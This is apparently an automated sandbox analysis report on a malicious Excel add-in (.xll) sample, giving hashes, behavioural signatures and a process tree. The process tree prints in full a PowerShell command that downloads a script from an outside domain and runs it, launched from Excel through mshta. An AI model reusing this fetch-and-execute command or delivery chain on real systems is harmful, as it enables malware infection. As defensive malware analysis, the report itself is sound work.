Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
101s -
max time network
123s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
22/05/2024, 16:47
Static task
static1
Behavioral task
behavioral1
Sample
e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll
Resource
win11-20240426-en
General
-
Target
e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll
-
Size
12KB
-
MD5
16e673ea543292122cfe9db64dca1f9c
-
SHA1
11745eedf398b7f4f33f7e26cd92ecfa17ae89fe
-
SHA256
e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089
-
SHA512
a9d9f28364ba5832eaaae9979cde9f6bf1730ed296187dfd5a46975d624ec628b51d1dc190930b269fbb568cc1db42c2c10a21f8bd72b1c0966e67e501a5ce97
-
SSDEEP
192:RL29RBzDzeobchBj8JONlONsVruFrEPEjr7AhuN:h29jnbcvYJOmWuFvr7Cq
Malware Config
Extracted
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4496 1716 mshta.exe 77 -
Blocklisted process makes network request 1 IoCs
flow pid Process 17 4880 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 1716 EXCEL.EXE 1716 EXCEL.EXE -
pid Process 4880 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1716 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4880 powershell.exe 4880 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4880 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1716 EXCEL.EXE 1716 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE 1716 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1716 wrote to memory of 4496 1716 EXCEL.EXE 79 PID 1716 wrote to memory of 4496 1716 EXCEL.EXE 79 PID 1716 wrote to memory of 4496 1716 EXCEL.EXE 79 PID 4496 wrote to memory of 4880 4496 mshta.exe 80 PID 4496 wrote to memory of 4880 4496 mshta.exe 80 PID 4496 wrote to memory of 4880 4496 mshta.exe 80
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4880
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll
Filesize12KB
MD516e673ea543292122cfe9db64dca1f9c
SHA111745eedf398b7f4f33f7e26cd92ecfa17ae89fe
SHA256e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089
SHA512a9d9f28364ba5832eaaae9979cde9f6bf1730ed296187dfd5a46975d624ec628b51d1dc190930b269fbb568cc1db42c2c10a21f8bd72b1c0966e67e501a5ce97